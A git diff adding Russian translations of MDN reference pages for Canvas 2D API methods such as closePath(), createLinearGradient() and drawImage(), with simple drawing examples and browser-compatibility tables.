+
+<p>{{ EmbedLiveSample('Playable_code', 700, 400) }}</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clearrect", "CanvasRenderingContext2D.clearRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeRect()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html
new file mode 100644
index 0000000000..b061088116
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/closepath/index.html
@@ -0,0 +1,114 @@
+---
+title: CanvasRenderingContext2D.closePath()
+slug: Web/API/CanvasRenderingContext2D/closePath
+tags:
+  - API
+  - Canvas
+  - Method
+translation_of: Web/API/CanvasRenderingContext2D/closePath
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.closePath()</code></strong> - метод из Canvas 2D API, добавляет в путь линию от текущей до первоначальной точки под пути и закрывает сам путь (давая возможность инициализировать новый). Если путь пустой или содержит одну точку, этот метод ничего не делает.</p>
+
+<p>Сама функция ничего не рисует. Он лишь позволяет отрисовывать путь таким методам, как {{domxref("CanvasRenderingContext2D.stroke()", "stroke()")}} и {{domxref("CanvasRenderingContext2D.fill()", "fill()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <em>ctx</em>.closePath();
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Замкнутый_треугольник">Замкнутый треугольник</h3>
+
+<p>В этом примере создаются две первые линии  сторон треугольника с испоьзованием метода <code>lineTo()</code>. После чего метод <code>closePath()</code> заканчивает рисование треугольника, автоматически соединяя первую и последнюю точки фигуры (в данном случае треугольника).</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>Точки треугольника находятся в координатах (20, 150), (120, 20),и (220, 150).</p>
+
+<pre class="brush: js; highlight:[8]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.moveTo(20, 140);   // Двигает перо к нижнему левому углу
+ctx.lineTo(120, 10);   // Рисует линию к верхнему углу
+ctx.lineTo(220, 140);  // Рисует линию к нижнему правому углу
+ctx.closePath();       // Рисует линию к нижнему левому углу
+ctx.stroke();
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Closing_a_triangle', 700, 180) }}</p>
+
+<h3 id="Закрытие_пути_один_раз">Закрытие пути один раз</h3>
+
+<p>Этот пример рисует смайлик, состоящий из трех не соединенных дуг (под путей).</p>
+
+<div class="blockIndicator note">
+<p>Хотя <code>closePath()</code> вызывается после создания всех дуг, закрывается только последняя.</p>
+</div>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p>Первые две дуги создают глаза, последняя создает рот.</p>
+
+<pre class="brush: js; highlight:[10]">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+ctx.beginPath();
+ctx.arc(240, 20, 40, 0, Math.PI);
+ctx.moveTo(100, 20);
+ctx.arc(60, 20, 40, 0, Math.PI);
+ctx.moveTo(215, 80);
+ctx.arc(150, 80, 65, 0, Math.PI);
+ctx.closePath();
+ctx.lineWidth = 6;
+ctx.stroke();
+</pre>
+
+<h4 id="Результат_2">Результат</h4>
+
+<p>{{ EmbedLiveSample('Closing_just_one_sub-path', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-closepath", "CanvasRenderingContext2D.closePath")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.closePath")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий этот метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.beginPath()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html
new file mode 100644
index 0000000000..9337731350
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/createlineargradient/index.html
@@ -0,0 +1,119 @@
+---
+title: CanvasRenderingContext2D.createLinearGradient()
+slug: Web/API/CanvasRenderingContext2D/createLinearGradient
+tags:
+  - API
+  - Градиент
+  - Холст
+  - метод
+translation_of: Web/API/CanvasRenderingContext2D/createLinearGradient
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.createLinearGradient()</code></strong>, предоставляемый Canvas 2D API, создает градиент вдоль линии, соединенной двумя точками с заданными координатами.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14681/mdn-canvas-linearGradient.png" style="height: 121px; width: 264px;"></p>
+
+<p>Этот метод возвращает линейный {{domxref("CanvasGradient")}}. Для того, чтобы быть добавленным к фигуре, градиент должен быть задан свойством {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} или {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Координаты градиента глобальны, т.е. относятся к текущему пространству координат. При добавлении градиента, его координаты определяются НЕ относительно координат фигур.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">CanvasGradient <var>ctx</var>.createLinearGradient(<var>x0</var>, <var>y0</var>, <var>x1</var>, <var>y1</var>);
+</pre>
+
+<p>Метод <code>createLinearGradient()</code> принимает четыре аргумента для определения начала и конца точек линии градиента.</p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>x0</code></dt>
+ <dd>Координата по оси X начальной точки.</dd>
+ <dt><code>y0</code></dt>
+ <dd>Координата по оси Y начальной точки.</dd>
+ <dt><code>x1</code></dt>
+ <dd>Координата по оси X конечной точки.</dd>
+ <dt><code>y1</code></dt>
+ <dd>Координата по оси Y конечной точки.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<dl>
+ <dt>{{domxref("CanvasGradient")}}</dt>
+ <dd>Линейный <code>CanvasGradient</code>, определенный линией.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Заполнение_прямоугольника_с_линейным_градиентом">Заполнение прямоугольника с линейным градиентом</h3>
+
+<p>В примере создается и добавляется линейный градиент, используя метод <code>createLinearGradient()</code>. Градиент имеет три точки остановки цвета между созданными начальной и конечной точками линии.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[7] notranslate">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Создание линейного градиента
+// Точка начала линии градиента: x=20, y=0
+// Точка конца линии градиента: x=220, y=0
+var gradient = ctx.createLinearGradient(20,0, 220,0);
+
+// Добавление трёх контрольных точек
+gradient.addColorStop(0, 'green');
+gradient.addColorStop(.5, 'cyan');
+gradient.addColorStop(1, 'green');
+
+// Установка стиля заливки и отрисовка прямоугольника градиента
+ctx.fillStyle = gradient;
+ctx.fillRect(20, 20, 200, 100);
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Заполнение_прямоугольника_с_линейным_градиентом', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-createlineargradient", "CanvasRenderingContext2D.createLinearGradient")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.createLinearGradient")}}</p>
+
+<h3 id="Специфично_для_Gecko">Специфично для Gecko</h3>
+
+<ul>
+ <li>Начиная с Gecko 2.0 {{geckoRelease("2.0")}}, указание не конечных значений выбрасывает <code>NOT_SUPPORTED_ERR</code> вместо <code>SYNTAX_ERR</code>.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.createRadialGradient()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/currenttransform/index.html b/files/ru/web/api/canvasrenderingcontext2d/currenttransform/index.html
new file mode 100644
index 0000000000..0e13fcc970
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/currenttransform/index.html
@@ -0,0 +1,90 @@
+---
+title: CanvasRenderingContext2D.currentTransform
+slug: Web/API/CanvasRenderingContext2D/currentTransform
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Experimental
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/currentTransform
+---
+<div>{{APIRef()}} {{SeeCompatTable}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.currentTransform</code></strong>, предоставляемое Canvas 2D API, возвращает или устанавливает объект {{domxref("SVGMatrix")}} для текущей матрицы преобразований.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>ctx.currentTransform [= value];</var>
+</pre>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Объект {{domxref("SVGMatrix")}}, который будет использован в роли текущей матрицы преобразований.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_currentTransform">Использование метода <code>currentTransform</code></h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий свойство <code>currentTransform</code> для установки матрицы преобразований.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre><code>&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</code></pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre><code>const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+let matrix = ctx.currentTransform;
+matrix.a = 1;
+matrix.b = 1;
+matrix.c = 0;
+matrix.d = 1;
+matrix.e = 0;
+matrix.f = 0;
+ctx.currentTransform = matrix;
+ctx.fillRect(0, 0, 100, 100);</code></pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Manually_changing_the_matrix', 700, 180) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-currenttransform", "CanvasRenderingContext2D.currentTransform")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.currentTransform")}}</p>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, определяющий его, {{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("SVGMatrix")}}</li>
+ <li>{{domxref("DOMMatrix")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html
new file mode 100644
index 0000000000..881eb779d2
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/drawimage/index.html
@@ -0,0 +1,328 @@
+---
+title: CanvasRenderingContext2D.drawImage()
+slug: Web/API/CanvasRenderingContext2D/drawImage
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Ссылка
+  - метод
+translation_of: Web/API/CanvasRenderingContext2D/drawImage
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.drawImage()</code></strong> метод Canvas 2D API предоставляет разные способы рисования изображения на холсте.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.drawImage(image, dx, dy);</var>
+void <var><em>ctx</em>.drawImage(image, dx, dy, dWidth, dHeight);</var>
+void <var><em>ctx</em>.drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight);</var>
+</pre>
+
+<p><img alt="drawImage" src="https://mdn.mozillademos.org/files/225/Canvas_drawimage.jpg" style="float: right;"></p>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>image</code></dt>
+ <dd>Элемент для отображения в контексте. Функция принимает любой источник изображения, пригодный для отображения на холсте ({{domxref("CanvasImageSource")}}), конкретнее, {{domxref("CSSImageValue")}},  {{domxref("HTMLImageElement")}}, {{domxref("SVGImageElement")}}, {{domxref("HTMLVideoElement")}}, {{domxref("HTMLCanvasElement")}}, {{domxref("ImageBitmap")}} или {{domxref("OffscreenCanvas")}}.</dd>
+ <dt><code>dx</code></dt>
+ <dd>Координата по оси Х, обозначающая стартовую точку холста-приемника, в которую будет помещен верхний левый угол исходного <code>image</code>.</dd>
+ <dt><code>dy</code></dt>
+ <dd>Координата по оси Y, обозначающая стартовую точку холста-приемника, в которую будет помещен верхний левый угол исходного <code>image</code>.</dd>
+ <dt><code>dWidth</code></dt>
+ <dd>Ширина изображения, полученного из исходного <code>image</code>. Эта опция позволяет масштабировать изображение по ширине. Если опция не задана, изображение не будет масштабировано.</dd>
+ <dt><code>dHeight</code></dt>
+ <dd>Высота изображения, полученного из исходного <code>image</code>. Эта опция позволяет масштабировать изображение по высоте. Если опция не задана, изображение не будет масштабировано.</dd>
+ <dt><code>sx</code></dt>
+ <dd>Координата по оси X верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещен в контекст-приемник.</dd>
+ <dt><code>sy</code></dt>
+ <dd>Координата по оси Y верхнего левого угла фрагмента, который будет вырезан из изображения-источника и помещен в контекст-приемник.</dd>
+ <dt><code>sWidth</code></dt>
+ <dd>Ширина фрагмента, который будет вырезан из изображения источника и помещен в контекст-приемник. Если не задана, фрагмент от точки, заданной <code>sx</code> и <code>sy</code> до правого нижнего угла источника будет целиком скопирован в контекст-приемник.</dd>
+ <dt><code>sHeight</code></dt>
+ <dd>Высота фрагмента, который будет вырезан из изображения источника и помещен в контекст-приемник.</dd>
+</dl>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>INDEX_SIZE_ERR</code></dt>
+ <dd>Выбрасывается, если ширина или высота источника или приемника равна нулю.</dd>
+ <dt><code>INVALID_STATE_ERR</code></dt>
+ <dd>Источник не имеет данных изображения.</dd>
+ <dt><code>TYPE_MISMATCH_ERR</code></dt>
+ <dd>Тип данных источника не поддерживается.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_drawImage">Использование метода <code>drawImage</code></h3>
+
+<p>Вот простой пример использования <code>drawImage</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+&lt;div style="display:none;"&gt;
+  &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg"
+       width="300" height="227"&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var image = document.getElementById('source');
+
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);
+</pre>
+
+<p>Отредактируйте код ниже и посмотрите, как ваши изменения отражаются на холсте:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div style="display:none;"&gt;
+  &lt;img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227"&gt;
+&lt;/div&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var image = document.getElementById('source');
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="Понимание_размеров_изображения-источника">Понимание размеров изображения-источника</h3>
+
+<p>Метод <code>drawImage()</code> использует <em>внутренние размеры</em> элемента-источника, выраженные в CSS-пикселях (а не реальные размеры самой картинки).</p>
+
+<p>Например, если изображение было загружено с использованием необязательных параметров <code>width</code> и <code>height</code> в конструкторе {{domxref("HTMLImageElement")}}, вместо <code>element.width</code> и <code>element.height</code> вам следует использовать свойства <code>naturalWidth</code> и <code>naturalHeight</code> экземпляра картинки (или <code>videoWidth</code> и <code>videoHeight</code>, если источник {{htmlelement("video")}}), чтобы добиться правильного масштабирования и получения фрагментов картинки.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;</pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var image = new Image(60, 45);   // Размер изображения
+image.onload = drawImageActualSize; // Рисуем изображение, когда оно будет загружено
+
+// load an image of intrinsic size 300x227 in CSS pixels
+image.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+
+function drawImageActualSize() {
+  // use the intrinsic size of image in CSS pixels for the canvas element
+  canvas.width = this.naturalWidth;
+  canvas.height = this.naturalHeight;
+
+  // will draw the image as 300x227 ignoring the custom size of 60x45
+  // given in the constructor
+  ctx.drawImage(this, 0, 0);
+
+  // To use the custom size we'll have to specify the scale parameters
+  // using the element's width and height properties - lets draw one
+  // on top in the corner:
+  ctx.drawImage(this, 0, 0, this.width, this.height);
+}</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{EmbedLiveSample('Understanding_source_element_size', 700, 360)}}</p>
+
+<p> </p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-drawimage", "CanvasRenderingContext2D.drawImage")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageBitmap</code> как источник</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>SVGImageElement</code> как источник</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Сглаживание при сжатии</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(56)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Функция</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>ImageBitmap</code> как источник</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>SVGImageElement</code> как источник</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatChrome(59)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(56)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Сглаживание при сжатии</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(56)}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] См. {{bug(1360415)}}</p>
+
+<h2 id="Дополнительно_о_совместимости">Дополнительно о совместимости</h2>
+
+<ul>
+ <li>Поддержка переворачивания изображения с использованием отрицательных значений <code>sw</code> и <code>sh</code> была добавлена в Gecko 5.0 {{geckoRelease("5.0")}}.</li>
+ <li>Начиная с {{geckoRelease("5.0")}}, <code>drawImage()</code> поддерживает отрицательные значения аргументов. Таким образом, можно переворачивать изображение вокруг разных осей.</li>
+ <li>Начиная с {{geckoRelease("5.0")}}, передача <code>null</code> или <code>undefined</code> как источника для <code>drawImage()</code> корректно выбрасывает исключение <code>TYPE_MISMATCH_ERR</code>.</li>
+ <li>Вплоть до Gecko 7.0 {{ geckoRelease("7.0") }} Firefox выбрасывал исключение в случае, если какая-то из координат равнялась нулю или бесконечности. Согласно спецификации, этого больше не происходит.</li>
+ <li>Gecko 9.0 {{ geckoRelease("9.0") }} теперь корректно поддерживает CORS без необходимости <a href="/en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F" title="en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F">"порчи" холста</a>.</li>
+ <li>Gecko 11.0 {{ geckoRelease("11.0") }} теперь поддерживает SVG как источник для <code>drawImage()</code> без необходимости <a href="/en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F" title="en/CORS_Enabled_Image#What_is_a_.22tainted.22_canvas.3F">"порчи" холста</a>.</li>
+</ul>
+
+<h2 id="Дополнительно">Дополнительно</h2>
+
+<ul>
+ <li><code>drawImage()</code> корректно работает с {{domxref("HTMLVideoElement")}} только в том случае, когда {{domxref("HTMLMediaElement.readyState")}}<strong> больше единицы</strong> (т.е., событие <strong>seek</strong> корректно вызывается после установки свойства <code>currentTime</code>)</li>
+ <li><code>drawImage()</code> будет использовать внутренний размер элемента-источника, выраженный в CSS-пикселях, при рисовании, фрагментировании или масштабировании.</li>
+ <li><code>drawImage()</code> проигнорирует все EXIF-данные изображений, в том числе и <code>Orientation</code>. Такое поведение метода особенно проблематично для iOS-устройств. Вам потребуется распознать ориентацию самостоятельно и использовать <code>rotate()</code> для ее корректировки.</li>
+</ul>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>Родительский интерфейс метода {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html
new file mode 100644
index 0000000000..17b037d4f0
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/ellipse/index.html
@@ -0,0 +1,139 @@
+---
+title: CanvasRenderingContext2D.ellipse()
+slug: Web/API/CanvasRenderingContext2D/ellipse
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Справка
+  - метод
+translation_of: Web/API/CanvasRenderingContext2D/ellipse
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.ellipse()</code></strong> - метод Canvas 2D API, который добавляет эллиптическую дугу к текущему подпространству.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">void <em>ctx</em>.ellipse(<em>x</em>, <em>y</em>, <em>radiusX</em>, <em>radiusY</em>, <em>rotation</em>, <em>startAngle</em>, <em>endAngle</em> [, <em>anticlockwise</em>]);
+</pre>
+
